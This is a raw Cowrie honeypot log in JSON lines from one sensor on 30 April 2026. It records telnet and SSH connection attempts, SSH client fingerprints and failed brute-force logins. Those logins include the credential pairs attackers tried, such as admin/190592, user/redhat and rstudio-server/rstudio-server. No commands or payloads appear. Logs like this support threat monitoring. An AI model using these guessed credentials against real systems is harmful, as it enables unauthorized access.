{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":51902,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b5e77a19da6","protocol":"telnet","message":"New connection: 45.23.213.116:51902 (159.203.135.109:23) [session: 2b5e77a19da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:43.481722Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":54568,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd23539204f","protocol":"telnet","message":"New connection: 45.23.213.116:54568 (159.203.135.109:23) [session: dcd23539204f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:54.774375Z"}
{"eventid":"cowrie.session.closed","duration":120.00200176239014,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:48:54.779554Z","src_ip":"45.23.213.116","session":"f0a530855969","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39742,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f4633e372be","protocol":"ssh","message":"New connection: 159.203.92.129:39742 (159.203.135.109:22) [session: 7f4633e372be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:00.911104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:00.917286Z","src_ip":"159.203.92.129","session":"7f4633e372be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:00.922816Z","src_ip":"159.203.92.129","session":"7f4633e372be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"zxczxc","message":"login attempt [admin/zxczxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:00.939897Z","src_ip":"159.203.92.129","session":"7f4633e372be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:01.956561Z","src_ip":"159.203.92.129","session":"7f4633e372be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":26580,"dst_ip":"159.203.135.109","dst_port":22,"session":"99040759cc92","protocol":"ssh","message":"New connection: 2.57.121.112:26580 (159.203.135.109:22) [session: 99040759cc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:02.319417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:02.324607Z","src_ip":"2.57.121.112","session":"99040759cc92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:02.428666Z","src_ip":"2.57.121.112","session":"99040759cc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190592","message":"login attempt [admin/190592] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:02.919754Z","src_ip":"2.57.121.112","session":"99040759cc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190589","message":"login attempt [admin/190589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:04.028101Z","src_ip":"2.57.121.112","session":"99040759cc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190588","message":"login attempt [admin/190588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:05.135427Z","src_ip":"2.57.121.112","session":"99040759cc92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190585","message":"login attempt [admin/190585] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:06.250129Z","src_ip":"2.57.121.112","session":"99040759cc92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":49296,"dst_ip":"159.203.135.109","dst_port":23,"session":"b66fb5024194","protocol":"telnet","message":"New connection: 45.23.213.116:49296 (159.203.135.109:23) [session: b66fb5024194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:06.676991Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190578","message":"login attempt [admin/190578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:07.357408Z","src_ip":"2.57.121.112","session":"99040759cc92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":49310,"dst_ip":"159.203.135.109","dst_port":23,"session":"89680e3b777c","protocol":"telnet","message":"New connection: 45.23.213.116:49310 (159.203.135.109:23) [session: 89680e3b777c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:07.470315Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:08.463788Z","src_ip":"2.57.121.112","session":"99040759cc92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":49280,"dst_ip":"159.203.135.109","dst_port":23,"session":"7175d35588c7","protocol":"telnet","message":"New connection: 45.23.213.116:49280 (159.203.135.109:23) [session: 7175d35588c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:08.748887Z"}
{"eventid":"cowrie.session.closed","duration":120.00106143951416,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:11.101287Z","src_ip":"45.23.213.116","session":"1bc5485304ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00084018707275,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:13.659700Z","src_ip":"45.23.213.116","session":"d2d524c416ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00160551071167,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:14.618351Z","src_ip":"45.23.213.116","session":"5ace18977cd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":55468,"dst_ip":"159.203.135.109","dst_port":23,"session":"2be5023ea2fd","protocol":"telnet","message":"New connection: 45.23.213.116:55468 (159.203.135.109:23) [session: 2be5023ea2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:14.916412Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":55464,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5749e6b0b72","protocol":"telnet","message":"New connection: 45.23.213.116:55464 (159.203.135.109:23) [session: d5749e6b0b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:15.569479Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.156.244.147","src_port":41761,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec15828cff89","protocol":"telnet","message":"New connection: 157.156.244.147:41761 (159.203.135.109:23) [session: ec15828cff89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:15.838538Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":55470,"dst_ip":"159.203.135.109","dst_port":23,"session":"5107378da63c","protocol":"telnet","message":"New connection: 45.23.213.116:55470 (159.203.135.109:23) [session: 5107378da63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:18.626160Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":48882,"dst_ip":"10.17.0.5","dst_port":22,"session":"920cfc183816","protocol":"ssh","message":"New connection: 198.98.55.71:48882 (10.17.0.5:22) [session: 920cfc183816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:19.242708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:19.248265Z","src_ip":"198.98.55.71","session":"920cfc183816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:19.254319Z","src_ip":"198.98.55.71","session":"920cfc183816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"redhat","message":"login attempt [user/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:19.307664Z","src_ip":"198.98.55.71","session":"920cfc183816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162696838379,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:19.649869Z","src_ip":"45.23.213.116","session":"e06467be8ace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:20.315107Z","src_ip":"198.98.55.71","session":"920cfc183816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00191974639893,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:21.058782Z","src_ip":"45.23.213.116","session":"9f6acd1efc29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":39496,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb7c378defe7","protocol":"telnet","message":"New connection: 45.23.213.116:39496 (159.203.135.109:23) [session: fb7c378defe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:32.688507Z"}
{"eventid":"cowrie.session.closed","duration":120.00169706344604,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:33.240734Z","src_ip":"45.23.213.116","session":"66cefa87b364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37980,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c27b5853103","protocol":"ssh","message":"New connection: 159.203.92.129:37980 (159.203.135.109:22) [session: 6c27b5853103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:41.619587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:41.624616Z","src_ip":"159.203.92.129","session":"6c27b5853103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:41.628346Z","src_ip":"159.203.92.129","session":"6c27b5853103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin@verodin.com","password":"Ver0d!nP@$$","message":"login attempt [admin@verodin.com/Ver0d!nP@$$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:41.637688Z","src_ip":"159.203.92.129","session":"6c27b5853103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":59354,"dst_ip":"159.203.135.109","dst_port":23,"session":"688929956021","protocol":"telnet","message":"New connection: 45.23.213.116:59354 (159.203.135.109:23) [session: 688929956021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:41.948347Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:42.643223Z","src_ip":"159.203.92.129","session":"6c27b5853103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":59370,"dst_ip":"159.203.135.109","dst_port":23,"session":"939adf4d1dc7","protocol":"telnet","message":"New connection: 45.23.213.116:59370 (159.203.135.109:23) [session: 939adf4d1dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:42.970938Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":53438,"dst_ip":"159.203.135.109","dst_port":23,"session":"0487cfaf52a1","protocol":"telnet","message":"New connection: 45.23.213.116:53438 (159.203.135.109:23) [session: 0487cfaf52a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:44.858114Z"}
{"eventid":"cowrie.session.closed","duration":31.57946491241455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:47.417869Z","src_ip":"157.156.244.147","session":"ec15828cff89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":46416,"dst_ip":"159.203.135.109","dst_port":23,"session":"76514646823d","protocol":"telnet","message":"New connection: 45.23.213.116:46416 (159.203.135.109:23) [session: 76514646823d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:54.549774Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":29429,"dst_ip":"159.203.135.109","dst_port":22,"session":"76a29df14a8e","protocol":"ssh","message":"New connection: 125.166.19.90:29429 (159.203.135.109:22) [session: 76a29df14a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:58.958039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:58.962584Z","src_ip":"125.166.19.90","session":"76a29df14a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:49:59.246752Z","src_ip":"125.166.19.90","session":"76a29df14a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rstudio-server","password":"rstudio-server","message":"login attempt [rstudio-server/rstudio-server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:00.352526Z","src_ip":"125.166.19.90","session":"76a29df14a8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":46420,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba9f52688f26","protocol":"telnet","message":"New connection: 45.23.213.116:46420 (159.203.135.109:23) [session: ba9f52688f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:01.576419Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:01.625588Z","src_ip":"125.166.19.90","session":"76a29df14a8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":60746,"dst_ip":"159.203.135.109","dst_port":23,"session":"87920da68d5a","protocol":"telnet","message":"New connection: 45.23.213.116:60746 (159.203.135.109:23) [session: 87920da68d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:08.411805Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":60784,"dst_ip":"10.17.0.5","dst_port":22,"session":"6585c24245db","protocol":"ssh","message":"New connection: 198.98.55.71:60784 (10.17.0.5:22) [session: 6585c24245db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:09.042418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:50:09.047717Z","src_ip":"198.98.55.71","session":"6585c24245db","protocol":"ssh"}
